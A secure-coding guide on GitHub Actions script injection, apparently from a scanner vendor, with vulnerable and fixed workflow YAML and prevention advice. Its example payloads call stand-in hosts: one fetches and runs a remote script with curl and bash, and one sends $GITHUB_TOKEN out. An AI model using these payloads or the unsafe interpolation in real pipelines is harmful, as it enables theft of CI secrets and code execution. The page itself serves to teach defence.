criticalCWE-94OWASP A03:2021

GitHub Actions Script Injection

Using untrusted event data like github.event.issue.title directly inside run: blocks allows attackers to inject arbitrary shell commands into your CI pipeline by crafting malicious issue titles, PR bodies, or commit messages.

How It Works

GitHub Actions expressions like ${{ github.event.issue.title }} are interpolated directly into the shell script before execution. If an attacker creates an issue with the title "; curl http://evil.com/steal.sh | bash; echo ", the shell command becomes echo "; curl http://evil.com/steal.sh | bash; echo " and the injected command executes with full access to the workflow's GITHUB_TOKEN and any configured secrets. This affects any github.event.* context that comes from user input: issue titles, PR titles, PR body, commit messages, branch names, and comment bodies. The attacker does not need write access to the repository -- simply opening an issue or PR is enough.

Vulnerable Code
# BAD: user-controlled data interpolated directly into run: block
name: Issue Greeter
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "New issue: ${{ github.event.issue.title }}"
          echo "By: ${{ github.event.issue.user.login }}"
          # Attacker sets title to: "; curl attacker.com/exfil?t=$GITHUB_TOKEN; #"
          # This executes arbitrary commands with repo secrets
Secure Code
# GOOD: pass user input via environment variables (not interpolated into shell)
name: Issue Greeter
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "New issue: $ISSUE_TITLE"
          echo "By: $ISSUE_AUTHOR"
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
          ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
          # Environment variables are NOT interpreted as shell code

Real-World Example

In 2021, security researcher Teddy Katz demonstrated script injection in the GitHub Actions workflows of several high-profile open-source projects including ESLint and webpack. The attack required only opening an issue with a crafted title. GitHub subsequently published a security advisory recommending all workflow authors pass untrusted inputs via environment variables instead of inline expressions.

How to Prevent It

  • Never use ${{ github.event.* }} directly inside run: blocks -- always pass untrusted data through env: variables
  • Use actions/github-script with explicit input parameters instead of shell interpolation for complex operations
  • Restrict workflows triggered by issues/PRs from forks using environment protections and required approvals
  • Audit all workflow files for inline ${{ }} expressions inside run: steps using tools like actionlint

Affected Technologies

GitHub ActionsNode.jsPythonDocker

Data Hogo detects this vulnerability automatically.

Scan Your Repo Free

Related Vulnerabilities